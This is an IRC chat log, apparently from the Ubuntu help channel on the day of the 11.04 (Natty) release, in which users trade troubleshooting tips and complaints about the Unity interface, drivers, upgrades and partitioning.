[20:36] <KlingaN> Is the slow flash-response and heavy chewing a global problem, or am I one of the few?
[20:36] <plustax> sebsebseb okay ill go 10.10 for now
[20:36] <Monotoko> nutsfornatty, thank you...have done
[20:36] <plustax> I just dont know how to do it
[20:36] <jsebean> hello
[20:36] <maco> KlingaN: pretty global
[20:37] <hypetech> koistinen: http://www.webupd8.org/2011/04/things-to-tweak-fix-after-installing.html
[20:37] <trijntje> sebsebseb, thats what I thought, good. Then ill just abort now and try again in a few days, when the server is not so busy
[20:37] <maco> KlingaN: never noticed before that anything adobe just gives away must be really slow and memory-hoggish?  i mean...flash... acrobat reader...
[20:37] <hypetech> koistinen: that has instructions for adding back notification
[20:37] <sebsebseb> iksik: developmetn versions of 11.04 with Ubuntu Classic Desktop had the global menu, but I  think since then they removed it, but you may be able to add from the repo or something, if it's not there by default
[20:37] <galaxyAbstractor> Hey
[20:37] <Coty91> Hey, I just finished installing Natty on my system; however, I've ran into an issue with my dual monitors and ati drivers. In order for me to be able to use my dual monitors I have to have xinerama enabled, but it doesn't support compiz when enabled. So when I try to login I'm sent back to the GDM. Any ideas on how I can fix this, please?
[20:37] <usr13> Monotoko: In FF, click Tools -> Downloads  and then right-click on any downloaded file and choose "Open Containing Folder" you will be taken to it.
[20:37] <jsebean> Ubuntu 11.04 will not install for me, my laptops backlight will now work when i run the installer
[20:38] <alex13> Ubuntu 11.04 installed but I can't boot, all I get is a black screen and that's it.
[20:38] <nutsfornatty> haha, my system is a1-2% cpu usage with xchat, nat, and chrome open. shoots up to 44% on flash video haha
[20:38] <jsebean> same here alex13
[20:38] <jsebean> the backlight wont work
[20:38] <sebsebseb> alex13: jsebean which graphics card?
[20:38] <jsebean> very unimpressive
[20:38] <usr13> Monotoko: You can also tell FF to ask where to download to.
[20:38] <plustax> how do I upgrade from 10.04 to 10.10?
[20:38] <jsebean> Intel, not sure exactly i got an emachine e725
[20:38] <alex13> @sebsebseb I don't know because I can't boot into ubuntu to find out.
[20:38] <sebsebseb> plustax: through 10.10
[20:38] <Tetsuo55> Does unity have weather next to the clock like gnome? i couldnt find an option for it when i tried a nighly livecd a few weeks ago
[20:38] <cybrhuman> any great changes after upgrade?
[20:38] <MarkSS> Where can I access the main menu on Ubuntu 11.04? Intuitive my butt. Everything so hard to find. Where do I friggin find it? Still haven't found the systems or administrative menu either! :(
[20:38] <sebsebseb> !upgrade | plustax
[20:38] <KlingaN> maco: True. But when run on Windows 7 it's flawless, which sucks. I'm looking for reasons not to migrate back :-P I want to get hooked in this !
[20:38] <koistinen> hypetech: thanks man!
[20:38] <galaxyAbstractor> Anyone know if it's possible to recover data from a harddrive with a broken NTFS partition from a ubuntu liveCD? My friend accidentally plugged out the power from his sisters computer as windows was doing a service pack update...
[20:39] <sebsebseb> cybrhuman: depends on the user, but for me from a previous version of Ubuntu, uhmm no not really
[20:39] <MonkeyDust> hi, in gnome, i used Alltray, to put apps in the systray -- is this possible in unity and how? hints & tips?
[20:39] <kdubois> RT MarkSS :)
[20:39] <usr13> Monotoko: Also, if you want to open one of the downloaded files, you can do so from the Downloads window.
[20:39] <MarkSS> RT?
[20:39] <plustax> sebsebseb that just showed me how to get to 11
[20:39] <jnlsnl_> hypetech hmm still not working :(
[20:39] <hypetech> galaxyAbstractor: you should be able to
[20:39] <plustax> I need to go from 10.04 to 10.10
[20:39] <plustax> can anyone help me in PM?
[20:39] <cybrhuman> sebsebseb: good :)
[20:39] <hypetech> jnlsnl_: :(
[20:39] <kdubois> MarkSS:<retweet> i echo your sentiment there...
[20:39] <ryankask> are maverick apt repositories still going to work?
[20:39] <ii> hi
[20:39] <Pici> MarkSS: That is all gone with unity. If you don't like the new interface, you can log off, and pick Classic Gnome (or is it classic ubuntu) from your login menu.
[20:39] <ryankask> i.e. receive updates
[20:39] <romeo0> i have no apache package and now i'm gonna install it so I was looking for it > "apt-cache search apache" and there would be lots of packages.. and now i'm jsut wondering which one i have to install?
[20:39] <hypetech> jnlsnl_: I don't know much about PHP specifically sorry
[20:39] <nutsfornatty> the weather indicator install instructions are here:  http://www.webupd8.org/2011/04/things-to-tweak-fix-after-installing.html
[20:39] <MarkSS> Unity SUCKS
[20:39] <sebsebseb> plustax: system  > administration > update maanger
[20:39] <alex13> How do I send people private messages?
[20:39] <Pici> MarkSS: Thats not necessary here.
[20:39] <galaxyAbstractor> Well, he says that it tells him to format the harddrives to use them. Know any tools or it?
[20:39] <plustax> sebsebseb im there
[20:39] <sebsebseb> MarkSS: try Gnome Shell I guess then or something :)
[20:39] <r000t> ohsix: exe is probably WINE
[20:40] <arrrghhh> alex13, /msg
[20:40] <biami> @MarkSS: why
[20:40] <hypetech> alex13: do "/msg <name> text here"
[20:40] <ii> How can I change the font size in unity's panel on ubuntu 11.05 ? It doesn't change when modifying Fonts (in Appearance).
[20:40] <jnlsnl_> hypetech i have a php file with this inside: <?php `git pull`;
[20:40] <jsebean> ive tried multiple times to get installer for 11.04 work but no go
[20:40] <Witchsong_> Where do I find Nautilus preferences?
[20:40] <jsebean> anybody got any ideas?
[20:40] <MarkSS> I cannot find anything. I knew I should've stayed with 10.10
[20:40] <nutsfornatty> markSS, give unity a week and make sure you are using keyboard shortcuts. it will grow on you.
[20:40] <biami> ii: 10.04
[20:40] <biami> 11.04
[20:40] <sebsebseb> MarkSS: ah right I see
[20:40] <usr13> alex13:  /msg alex13   Hello alex13
[20:40] <ohsix> MarkSS: #ubuntu-offtopic
[20:40] <jiohdi> Witchsong: under edit
[20:40] <biami> haha
[20:40] <nutsfornatty> i hated unity too at first, now i love it
[20:40] <MarkSS> Yes, but I can't even right-click most stuff to create launchers...
[20:40] <Pici> MarkSS: Did you listen to what I just told you? You can use the old desktop interface if you'd like.
[20:40] <Nickftw_> Which browser runs flash the best in ubuntu 10.04 64 bit??
[20:40] <jsebean> maybe we should stick to LTS only and hope 12.04 LTS fixes this issue
[20:40] <MarkSS> Yes, I know
[20:40] <sebsebseb> MarkSS: well does this look better going by the videos?   http://gnome3.org
[20:40] <ii> biami: ?
[20:40] <Nickftw_> ive found that flash runs crappy in firefox
[20:40] <macrossm> unity is just terrible and compiz no longer works....is it better just to wipe and reinstall 10.10 ?
[20:40] <Pici> MarkSS: Then stop complaining.
[20:40] <romeo0> i have no apache package and now i'm gonna install it so I was looking for it > "apt-cache search apache" and there would be lots of packages.. and now i'm jsut wondering which one i have to install?
[20:40] <romeo0> no idea?
[20:41] <hypetech> jnlsnl_: /join #php    :)
[20:41] <robehend11> apache2
[20:41] <cybrhuman> silly question: unity is the ui from nbr?
[20:41] <aguitel> !topic
[20:41] <ubottu> Please read the channel topic whenever you enter, as it contains important information. To view it at any time after joining, simply type /topic
[20:41] <romeo0> yes
[20:41] <romeo0> apache2
[20:41] <jnlsnl_> haha will do :)
[20:41] <Pegasys> is anyone else having trouble when upgrading using the alternate iso when it gets to fetching files. mine stops at the same point everytime
[20:41] <Pici> cybrhuman: Yes.
[20:41] <MarkSS> Are libreoffice and openoffice the same thing? They look like it. Done complaining. Going to give it a try.
[20:41] <nutsfornatty> im amazed how resistant linux users (of all people) are to a gui change.
[20:41] <ryankask> are maverick apt repositories still going to receive updates?
[20:41] <robehend11> romeo0: use apache2 ;)
[20:41] <Pici> !Lamp > romeo0
[20:41] <ubottu> romeo0, please see my private message
[20:41] <r000t> People who initially hated unity but now love it: Please look up the stockholm effect
[20:41] <plustax> sebsebseb pm
[20:41] <ohsix> r000t: what about the unknown window? and does this backspace thing happen the same in all apps
[20:41] <macrossm> resistant to a terible gui
[20:41] <jiohdi> MarkSS: yes same thing
[20:41] <Coty91> So does Unity work with dual monitors? I can't get it to work with my ATI 5770 with Xinerama enabled. Clearly, the issue is that xinerama doesn't support compiz, so how do I get dual monitor support with Unity?
[20:41] <r000t> ohsix: yes
[20:41] <macrossm> i run linux to screw around with and have fun with the OS and gui
[20:41] <robehend11> MarkSS: Libre is a fork of OpenOffice. Its now the officially suppoedo ne
[20:41] <r000t> Also after using backspace more than once, all keys lag
[20:41] <robehend11> Coty91: It does work on dual monitors, quite well.
[20:41] <macrossm> not to be forced to conform to 2nd rate code
[20:41] <maco> r000t: could also be that unity has improved a lot over the last 6 months, like from crashing every few minutes to um, actually working?
[20:41] <Pici> ryankask: Yes. It doesnt reach end of life until april 2012.
[20:42] <usr13> romeo0: apache2 - Apache HTTP Server metapackage
[20:42] <ryankask> Pici: thanks!
[20:42] <OverTheHillAndFa> hyptech: http://pastebin.com/nnLvZYSi
[20:42] <sgaap> Coty91, you could try the opensource ati drivers instead of fglrx
[20:42] <sebsebseb> plustax: you may have to enable the upgrade for 10.10.  keep it in the channel,  there are other people who should be able to help you better than I :)
[20:42] <ohsix> MarkSS: there was a coup after the oracle thing, they're not the same but libreoffice is the one most developers left to, since oracle wasn't going to form a foundation for the project
[20:42] <OverTheHillAndFa> hypetech: http://pastebin.com/nnLvZYSi
[20:42] <plustax> sebsebseb yeah how do I do that?
[20:42] <plustax> I cant find the option for it.
[20:42] <ryankask> I am trying to boot 11.04 live cd and i see this: http://www2.ryankaskel.com/misc/images/screenshots/natty-startup.jpg
[20:42] <nutsfornatty> r000t, do trust. i know where gnome3 and classic ubuntu are at. i am NOT a hostage to anything
[20:42] <MarkSS> It seems faster
[20:42] <sebsebseb> plustax: it should show in upgrade manager, but if not, uhmm probably in there some where to get it showing or something
[20:42] <galamar> okay its not that my windows are appearing to high its the top bar is missing all together.... No   _  []  X   buttons at all????
[20:42] <hypetech> OverTheHillAndFa: it's stuck there?
[20:43] <ohsix> r000t: my overall point is that it's not from the upgrade, but it can be found out where it is
[20:43] <plustax> sebsebseb i cant find it
[20:43] <plustax> I know its gotta be in there
[20:43] <macrossm> galamar nope it's all gone
[20:43] <robehend11> MarkSS: it's a bit faster, and has new features, like native svg handling. Its a good program.
[20:43] <macrossm> switch to classic or reinstall 10.10
[20:43] <galamar> why?
[20:43] <jiohdi> galamar: they are part of the top panel now
[20:43] <jsebean> so 11.04 is a fail?
[20:43] <hypetech> jsebean: no
[20:43] <nutsfornatty> no
[20:43] <biami> i am drunk... and everything is moving too fast for me... g'nyt...
[20:43] <macrossm> yes
[20:43] <sebsebseb> plustax: maybe you should just stay on 10.04,  10.10 and 11.04 don't really offer that much  proper advantage, well in my opinion :)
[20:43] <jsebean> well it doesnt work
[20:43] <Coty91> Yea, It did work great with the open source drivers, but as soon as I installed fglrx it no longer works. Problem is I don't know how to remove the ATI drivers since I didn't it manually.
[20:43] <robehend11> not at all
[20:43] <OverTheHillAndFa> computer freezed. hardbooted and then ran reset in recovery mode resulting this outpu
[20:43] <macrossm> jsebean most definitely a fail
[20:43] <OverTheHillAndFa> t
[20:43] <ohsix> jsebean: #ubuntu-offtopic
[20:43] <zzecool> James2nd,
[20:43] <sebsebseb> plustax: plus 10.04 is Long Term Support :)
[20:43] <jsebean> i would like for it to work, for me it is a fail
[20:44] <nutsfornatty> users are the fail for not trying the new unity interface for more than a week
[20:44] <jsebean> i cannot even install it
[20:44] <usr13> ryankask: visit your optometrist, you need new glasses.
[20:44] <galamar> jiohdi, so how am i to move my windows around?
[20:44] <alex13> I really want 11.04 to work for me.  Really bad!
[20:44] <sgaap> Coty91, used a deb or ati's own installer?.
[20:44] <robehend11> jsebean: Download a fresh iso. Best way to do it.
[20:44] <jsebean> installer is black, ive tried redownloading, buring and usb
[20:44] <jsebean> nope not it
[20:44] <OverTheHillAndFa> hypetech: computer freezed. hardbooted and then ran reset in recovery mode resulting this output
[20:44] <ohsix> jsebean: intel or nvidia?
[20:44] <plustax> I found it im good.
[20:44] <Coty91> sgaap: I used the ATI installer
[20:44] <nutsfornatty> remember everyone is still grumbling about the osx buttons from 10.04 lol
[20:44] <jsebean> intel
[20:44] <macrossm> go back to 10.10
[20:44] <doodle> Hello, I am trying to install Ubuntu 11.04, but in the add partition section's "Use as" menue, I don't see NTFS file system which I need. How I can use that file system?
[20:44] <jsebean> Intel GMA 4500M graphics
[20:44] <jiohdi> galamar: move them where?
[20:44] <ohsix> jsebean: report a bug
[20:44] <ryankask> usr13: realistically.. i mean 10.10 runs fine but i can't even boot 11.04... any tips?
[20:44] <jsebean> will do
[20:44] <galamar> jiohdi, around
[20:44] <dave65> reboot, brb
[20:44] <sgaap> Coty91: then you can use the uninstall probably, and just remove/rename your x conf
[20:44] <maco> doodle: you cant install onto an NTFS file system
[20:45] <MarkSS> !Unity
[20:45] <ubottu> Unity is a shell for GNOME, but it is not GNOME-shell. See http://unity.ubuntu.com and http://www.jonobacon.org/2010/10/31/unity-some-further-clarification-points/ for more information. Have a question, check http://askubuntu.com/questions/tagged/unity
[20:45] <maco> doodle: if you want to mount an NTFS storage device automatically, you can set that up post-install
[20:45] <hypetech> OverTheHillAndFa: not sure, can you still boot normally and choose Ubuntu in the session manager at the login screen?
[20:45] <jiohdi> galamar: unity is designed for touch screen primarily, its not the best set up for a desktop imho
[20:45] <Somelauw> So does everybody love or hate unity?
[20:45] <ThomasUK> hate.
[20:45] <sebsebseb> ThomasUK: :D
[20:45] <Coty91> sgaap: Thanks, I'll give it a shot.
[20:45] <r000t> Now I have another issue: Chrome is default browser but xchat opens links in Firefox after upgrade
[20:45] <MarkSS> HATE
[20:45] <ohsix> Somelauw: #ubuntu-offtopic
[20:45] <OverTheHillAndFa> yes but i only get classic look
[20:45] <doodle> maco: but no way to do that now?
[20:45] <nutsfornatty> love (though it toke time + learning the keyboard shortcuts)
[20:45] <ThomasUK> but you'll get trolled by ego feests that will tell you you need to go to offtopic
[20:45] <usr13> ryankask: Sorry, couldn't resist.... But really can't tell much about the screen you showed us
[20:45] <maco> doodle: ok i should clarify:  you cant install *directly* on an ntfs file system.  if you use Wubi from Windows, you can install into an ext4-formatted file on an NTFS drive
[20:45] <ThomasUK> oh look theres one :)
[20:45] <robehend11> jiohdi: While it does support touch screens nicely, it also works great for the layout, what with all the built-in keyboard shortcuts
[20:45] <ohsix> ThomasUK: #ubuntu-offtopic
[20:45] <sebsebseb> Somelauw: I have mixed feelings over Unity :D
[20:45] <OverTheHillAndFa> hypetech: yes but i only get classic look
[20:45] <ThomasUK> ^ ;)
[20:45] <sgaap> its not as bad as people make it, but i prefer gnome 3 on 11.04 over unity
[20:45] <hypetech> OverTheHillAndFa: meh, I'm not sure beyond that :(
[20:45] <maco> doodle: no, just set it up in /etc/fstab after you install
[20:45] <galamar> jiohdi, how did that become an issue it worked before?
[20:45] <doodle> maco: I know that.
[20:46] <ohsix> MarkSS: #ubuntu-offtopic
[20:46] <romeo0> robehend11: you know actually my problem is that when there would be alot of packages for apache2 when i type : apt-cache search apache2   so how could i find out that which one that i have install?
[20:46] <jiohdi> robehend11: so is icewn
[20:46] <ryankask> usr13: it's just a bunch of colored lines. it looks like it's a driver issue but i don't know.
[20:46] <jibadeeha> i think i am the only one on the planet who actually likes Unity :(
[20:46] <sebsebseb> sgaap: and yeah indeeed Gnome  Shell :)  when it works, and Unity okish when it works
[20:46] <OverTheHillAndFa> hypetech: no problem. thank you anyway :)
[20:46] <doodle> maco: I don't wanna install Ubuntu there, I just want to spare the 45 GB space to another drive which I need in NTFS.
[20:46] <cm-t> hi, I am trying to report a bug to launchpad, this bug affect 2 packages
[20:46] <cm-t> in the field «In what package did you find this bug? »  can i add  these 2 packages here ?
[20:46] <jiohdi> *icewm
[20:46] <ohsix> ThomasUK: it's not ego, this channel exists for a reason, and that is not it
[20:46] <robehend11> jiohdi: agreed, which is why I run both ;)
[20:46] <epyx> is it just me or does Unity feel very unsmooth?
[20:46] <macrossm> *blackbox
[20:46] <doodle> maco: you said, I can do that right? If so, which file system should I select now?
[20:46] <macrossm> anyhthing is better then unity
[20:46] <jibadeeha> just you epyx
[20:46] <sebsebseb> epyx: probably not just you :)
[20:46] <jiohdi> robehend11: I just switched to fvwm-crystal
[20:46] <ohsix> epyx: #ubuntu-offtopic
[20:46] <ssfdre38> who made Unity
[20:47] <robehend11> romeo0: just apt-get install apache2 . It'll work. if you want the whole lamp-stack, do tasksel lamp-server^
[20:47] <Coty91> sgaap: Do you know if there are any upsides to using fglrx opposed to the open source drivers?
[20:47] <galamar> jiohdi, can i remove unity?
[20:47] <MarkSS> a moron
[20:47] <maco> doodle: wont it let you just leave empty space?
[20:47] <sebsebseb> ssfdre38: mainly Canonica's design team people
[20:47] <Adis45> Hello, I can't get my computer to boot from USB, it always works the first time i put it in and it boots
[20:47] <sgaap> Coty91: games
[20:47] <Adis45> but i can never do it after that
[20:47] <ohsix> MarkSS: #ubuntu-offtopic
[20:47] <robehend11> jiohdi: I'm on Unity now, but I'll prolly roll back to lxde soon enough
[20:47] <helo> i'm going to be introducing a non-computer person to ubuntu... should i put them on unity?
[20:47] <macrossm> indeed
[20:47] <jiohdi> galamar: you can install a bunch of alternatives and then just pick the one you like at login
[20:47] <maco> doodle: you could pick any available one for now if you wanted to setup an empty partition and then format it after the install
[20:47] <macrossm> no
[20:47] <Ahmuck> installed 11:04 in a vm.  did not have 3d turned on.  turned graphics off and gave me gnome 2.x.  is there a way to reset the process to get unity?
[20:47] <macrossm> helo: give them 10.10
[20:47] <nutsfornatty> ati users, remember that the new offical ati driver is out for 11.04. try that first.
[20:47] <Coty91> sgaap: Ah, well I use windows for that. Thanks again!
[20:47] <doodle> maco: okay, I will do that. Thanks!
[20:47] <ohsix> helo: sure, if they don't know about anything it'll be their computing experience
[20:47] <sebsebseb> Ahmuck: ok I can give you a proper lnk for getting Unity working in Virtualbox :)
[20:47] <galamar> jiohdi, how did unity get on my system?
[20:47] <macrossm> unity needs years of dev and perhaps so testing next time
[20:47] <hypetech> helo: yes, it's great for new people imo
[20:47] <maco> Ahmuck: you're going to need to get 3D drivers for your vm
[20:48] <jiohdi> galamar: its the new default
[20:48] <Ahmuck> sebsebseb: there's a special setup?
[20:48] <cm-t> helo: on the natty he can choose between unity and classic
[20:48] <maco> Ahmuck: vmware and vbox both have extensions for installing in the guest OS for that
[20:48] <sebsebseb> Ahmuck: yes it needs to be done right, or it won't work
[20:48] <ohsix> macrossm: it had it, you weren't paying attention
[20:48] <cyoz1> damn unity is huge
[20:48] <Adis45> what is unity
[20:48] <sebsebseb> Ahmuck: also you need some sort of hardwae accelleration on the host it seems, ok going to get you the link
[20:48] <jiohdi> galamar: at login you have can still go back to other alternatives already installed
[20:48] <ohsix> unity is a plugin for compiz
[20:48] <biami> I am sorry about this question in advance, but can anyone suggest any non-technical IRC channel?
[20:48] <maco> Adis45: the new shell in 11.04
[20:48] <sebsebseb> Adis45: the new default interface for 11.04
[20:48] <helo> Adis45: a new linux MMORPG
[20:48] <helo> shhhh!
[20:48] <jsebean> unity the replacement for gnome in 11.04
[20:48] <maco> biami: umm... #defocus?
[20:48] <hypetech> biami: for ubuntu or...?
[20:48] <g105b> Hi, I have a Acer Aspire 4810T laptop, I press FN+LEFT to reduce screen brightness and FN+RIGHT to increase screen brightness. Since the update to Natty, the OSD appears, but brightness doesn't change ... :(
[20:48] <maco> jsebean: it's a shell on top of gnome
[20:48] <sebsebseb> Ahmuck: so if for example you got Comipz working on the host, then you got the hardware acceleration :)
[20:48] <galamar> jiohdi, ok where do i get alternatives are they already there?
[20:48] <macrossm> unity is a useless window manager implemented in 11.04 to replace gnome the far superior window manager
[20:48] <ohsix> jsebean: no, it is not a replacement for gnome
[20:48] <nutsfornatty> unity is gnome
[20:49] <maco> jsebean: gnome applications and libraries and services are all still there
[20:49] <sebsebseb> Ahmuck: ok let's get you the link :)
[20:49] <jsebean> correct
[20:49] <Adis45> Im trying to boot my computer from a USB, but it always works the first time and then I can never boot from it
[20:49] <hypetech> biami: there are a few hundred channels on this server, plus if you just join a random one that doesn't exist, it will create it
[20:49] <ohsix> jsebean: 99.99% of what "gnome" is, is not the window manager
[20:49] <jsebean> i stand corrected
[20:49] <doodle> maco: the type of that partition will be logical or primary?
[20:49] <Ahmuck> i can use comipz, but don't have it currently turned on
[20:49] <Coty91> macrossm: Unity is built on top of GNOME
[20:49] <maco> doodle: depends how many partitions you have already
[20:49] <jiohdi> galamar: when you login, before you hit enter, there is a choser on the login screen, it is a drop down box
[20:49] <jsebean> but u cant install 11.04 because it doesnt work with my laptops backlight dont work with it
[20:49] <ohsix> jsebean: report a bug
[20:49] <maco> doodle:  you can have up to 4 primary or 3 primary + 1 logical and the logical containing a LOT of extended
[20:49] <macrossm> great it should be removed then easily and not be so huge
[20:49] <cyoz1> does unity have no options?
[20:49] <shane2peru> ok, how do Irese
[20:49] <ohsix> jsebean: i saw a lot of that long before the release even, nobody filed bugs
[20:50] <biami> @hypetech: hmm
[20:50] <jiohdi> galamar: if you are set to auto login in you should go to your settings and change it to request password
[20:50] <ohsix> cyoz1: no, it's a compiz plugin, try ccsm
[20:50] <hypetech> cyoz1: do "ccsm" and click on the unity button
[20:50] <koshie> Hi
[20:50] <sebsebseb> Ahmuck: Do this and should work, not tired myself yet. http://www.theopensourcerer.com/2011/04/21/ubuntu-natty-in-virtualbox-with-unity/
[20:50] <sebsebseb> http://www.theopensourcerer.com/2011/04/21/ubuntu-natty-in-virtualbox-with-unity/
[20:50] <macrossm> unity wiped out the desktop sphperes and all the setting i had on my machine since 8.04
[20:50] <jsebean> i made the assumption that it would be fixed by final release
[20:50] <Ahmuck> hi maco
[20:50] <Ahmuck> long time no chat
[20:50] <jsebean> next time ill make a report before final is released, because i did try the beta and alpha and had same issue
[20:50] <Torne> Is there a way to format an entire disk with a filesystem during the install? i.e. not have a partition table?
[20:50] <robd> Hey guys
[20:50] <ohsix> macrossm: they're still there
[20:50] <doodle> maco: I just want to use it as a regular drive, primary will be better for that, or logical? I have many other partitions already.
[20:50] <Ahmuck> so, u mentioned something about vbox drivers?
[20:51] <kunguz> I tried dd the iso image to an usb but that did not work, I am in a different distro and would like to install ubuntu on a seperate partition using USB stick, any suggestions?
[20:51] <Coty91> I like the idea of Unity but it feels like I'm using a mac; in the sense, that I have little power over changing and customizing the experience now.
[20:51] <jiohdi> Torne: from a live CD
[20:51] <azi> hello. how could I change the desktop layout in 10.10 to a more "standard" one?
[20:51] <ohsix> macrossm: they were just displayed by nautilus before
[20:51] <maco> doodle: primary & logical have no bearing on how you use it in most cases (exception is that windows refuses to boot from logical)
[20:51] <macrossm> really....
[20:51] <Torne> jiohdi: no, from the altinstaller
[20:51] <sebsebseb> Coty91: well that's actsaully the goal of Canonical now, to compete more properly against the Mac OS X interface
[20:51] <rhizmoe> is there a way to sync the file tree to the current file in gedit?
[20:51] <maco> doodle: if you have 3 primary already, then id make it logical
[20:51] <shane2peru> ok how do I reset all desktop settings to get a fresh new install desktop
[20:51] <rhizmoe> "show me where this is"
[20:51] <macrossm> cause right now i got for stupid desktop s side by each and my extra monitor won't open a thing
[20:51] <jiohdi> Torne: what I am telling you is that you have to be running the live cd and then chose gparted
[20:51] <nutsfornatty> coty91, this is true. i hope we get advanced customizations for unity asap
[20:51] <ohsix> sebsebseb: do you speak for them?
[20:51] <mkanat> How do I make a panel launcher prompt me to sudo it?
[20:51] <koshie> If I download an iso with torrent, it's not possible to be corrupted, right ?
[20:51] <macrossm> er four
[20:52] <robd> I just installed Ubuntu 11.04 and I'm wondering how to set my DNS servers. I've tried setting servers in /etc/resolv.conf but it doesn't appear to have any effect. Where are DNS server settings stored now?
[20:52] <doodle> maco: I have more than 3 primary already.
[20:52] <mkanat> (Prompt me with a GUI, that is.)
[20:52] <sebsebseb> ohsix: no I just read stuff about Linux distro's and so on here and there, so I know things :)
[20:52] <ohsix> nutsfornatty: you have it, open ccsm
[20:52] <maco> doodle: you have 4 primary?
[20:52] <VCoolio> mkanat: put gksudo in front of the command
[20:52] <macrossm> unity not good with multiple monitor ?
[20:52] <rhizmoe> koshie: of course it can. that's what the md5 is for
[20:52] <ayecee> koshie: it's possible, but unlikely. the torrent file itself contains hashes used to verify the contents.
[20:52] <mkanat> VCoolio, awesome, thank you. :-)
[20:52] <Torne> jiohdi: that's kinda annoying, i never have the livecd
[20:52] <jnlsnl_> hmm i  can make git pull as user "ubuntu" but when i try as root it says: Permission denied (publickey).
[20:52] <ohsix> sebsebseb: if you've "read" things, chances are you know nothing
[20:52] <doodle> doodle: most probably, I am not sure. I did it long time ago.
[20:52] <nutsfornatty> ohsix, i have ccsm, tell me how to move unity to the bottom of the screen? yep, you cant
[20:52] <sebsebseb> ohsix: depends where I  read something
[20:52] <koshie> rhizmoe, I've heard it's not possible with torrent, but possible in http/ftp download.
[20:52] <jiohdi> Torne: you have to be running in such a way that nothing you are doing is touching the hard drive
[20:52] <ThomasUK> ohsix: ubuntu-offtopic.
[20:53] <sebsebseb> ohsix: if  it was for example the offical blogs from Mark Shuttleworth or  Canonical Design team, which for my Mac OS X comment, if I remember correctly it indeed was, then sure I know something :)
[20:53] <ohsix> sebsebseb: nope, unless canoncical said it, it's speculation
[20:53] <macrossm> unity is useless they need to redo that whole section and put back gnome
[20:53] <Torne> jiohdi: er, yes, I am, I've booted qemu from the altinstall cd
[20:53] <koshie> ayecee, Yes I've heard that.
[20:53] <maco> doodle: youd need to delete one and replace it with a logical then put a few extended in there.  (this is not an ubuntu thing, just a hard disk thing)
[20:53] <Coty91> nutsfornatty: I'm really hoping the reason for it is that they had a limit amount of time to build Unity before release.
[20:53] <nutsfornatty> panels in 10.10 = massive customization potential... unity = not so much
[20:53] <gaurav_sood91> anyone know how to upgrade to 11.04 from maverick? i got strange errors...
[20:53] <Pici> macrossm: Feel free to pick classic gnome from GDM if you want to use that.
[20:53] <nerdshell> I just have installed Natty, and my computer doesn't recognize my wifi network !
[20:53] <Torne> jiohdi: my hard disk is an image file, i want to install onto it with no partition table because otherwise i'll have to ess about dd'ing the filesystem out of the image
[20:53] <koshie> gaurav_sood91, what is the error ?
[20:53] <ohsix> macrossm: gnome is not gone, you can still use it as a desktop session, pick it from the login screen
[20:53] <hypetech> gaurav_sood91: "sudo do-release-upgrade"
[20:53] <ThomasUK> natty is doing great things for this IRC channel.
[20:53] <sebsebseb> ThomasUK: heh?
[20:54] <ohsix> Coty91: conversely, they did not have infinite time, and it was released
[20:54] <doodle> maco: okay then.
[20:54] <maco> doodle: whoops, its logicals inside extendeds, not other way around, but either way:  4 big things allowed.
[20:54] <sebsebseb> ThomasUK: it's a bit disapointing in a way no where near 2000 people this time round
[20:54] <nerdshell> I just have installed Natty, and my computer doesn't recognize my wifi network !  What can I do ?
[20:54] <cyoz1> I think I'll try out fedora...
[20:54] <statarb3> anybody using mindmapping software XMind
[20:54] <ohsix> ThomasUK: unless you have a question or are assisting someone i suggest you take your comments elsewhere
[20:54] <doodle> maco: okay, going to install now. Thanks! :)
[20:54] <maco> doodle: http://en.wikipedia.org/wiki/Disk_partitioning#PC_partition_types
[20:54] <koshie> rhizmoe, thanks.
[20:55] <gaurav_sood91> unity seems a bit strange to use though
[20:55] <koshie> Good afternoon / night everyone
[20:55] <Coty91> cyoz1: Fedora isn't all that great imo. Try Arch it's waay better.
[20:55] <sebsebseb> ThomasUK: (unless we use you know uhmm rounded numbers.  since that way over 1500 so it is)
[20:55] <Rehan> if i use a usb liveCD and then install from it, will the settings that I had setup in the liveCD carry over?
[20:55] <koistinen> I have a folder ~/Desktop/TV Serials/Himym - when i try to search "TV Serials" it finds the folder. When I search "Himym" it finds nothing. Does this happen to you?
[20:55] <jiohdi> Torne: dont know of any program that can do exactly that but one of those systems that can copy hard drive to hard drive by hardware means
[20:55] <ohsix> Coty91: :[
[20:55] <jo-erlend> cyoz1, Fedora is really good, as long as you don't need anything proprietary. It's a very nice distro.
[20:55] <nutsfornatty> good guide to natty customization: http://www.webupd8.org/2011/04/things-to-tweak-fix-after-installing.html
[20:55] <arand> Rehan: I do not think so no.
[20:55] <hypetech> nutsfornatty: somebody should add that to the topic
[20:55] <ohsix> nutsfornatty: are you promoting that post?
[20:55] <macrossm> unity is a wannabe osx gui that's all i see
[20:55] <nerdshell> I just have installed Natty, and my computer doesn't recognize my wifi network ! what can I do?
[20:55] <ohsix> macrossm: unity is a plugin for a window manager
[20:56] <nutsfornatty> naw, its not my blog. but it was very helpful to me (getting weather app back etc)
[20:56] <macrossm> i'd take beOS even over unity
[20:56] <kunguz> exit()
[20:56] <kunguz> quit()
[20:56] <sebsebseb> macrossm: yep  that's the plan for Canonical now to compete more against Mac OS X's interface.  anyway you may prefer Gnome Shell http://gnome3.org :)
[20:56] <maco> nerdshell: try plugging into a wired network and starting up the hardware driver manager. it'll search the internet for a wireless driver
[20:56] <Rehan> arand: i tried out the 11.04 liveCD and there was no Unity, it looked exactly the same as my 10.10 install
[20:56] <ohsix> nerdshell: is it a broadcom or ralink chip? (lspci / lsusb)
[20:56] <gaurav_sood91> plug it in ethernet and then install driver. broadcom drivers are pathetic in this respect
[20:56] <Torne> jiohdi: er, i think you aren't understanding me. I have booted the alternate install CD and it wants to partition the disk in the install process; is there a way to just make it create the filesystem on /dev/sda
[20:56] <macrossm> unity is a massive plugin that wipes out all your settings and forces you to conform to a new way of setting up your desktop
[20:56] <nerdshell> ohsix: broadcom
[20:56] <arand> Rehan: Likely due to lack of acceleration video drivers.
[20:56] <dotblank> macrossm, what?
[20:56] <ohsix> sebsebseb: there is no plan, unless you speak for canonical and are making said plans, do not spread misinformation
[20:57] <nerdshell> maco : the driver is installed, I already done that
[20:57] <macrossm> really ? is that the canonical plan to complete against osx ? :(
[20:57] <ohsix> nerdshell: you probably need to install the firmware then, as it's not redistributable
[20:57] <maco> nerdshell: is your rfkill switch enabled?
[20:57] <sebsebseb> ohsix: you know what, if I  really wanted, to I could find the blog post,  that said they are competing agasint Mac OS X more,  but I am not sad enough to go and do that :)
[20:57] <cyoz1> banshee is buggy as fuck
[20:57] <ohsix> macrossm: are you trollling with these guys?
[20:57] <maco> nerdshell: and have you rebooted since installing the drivers
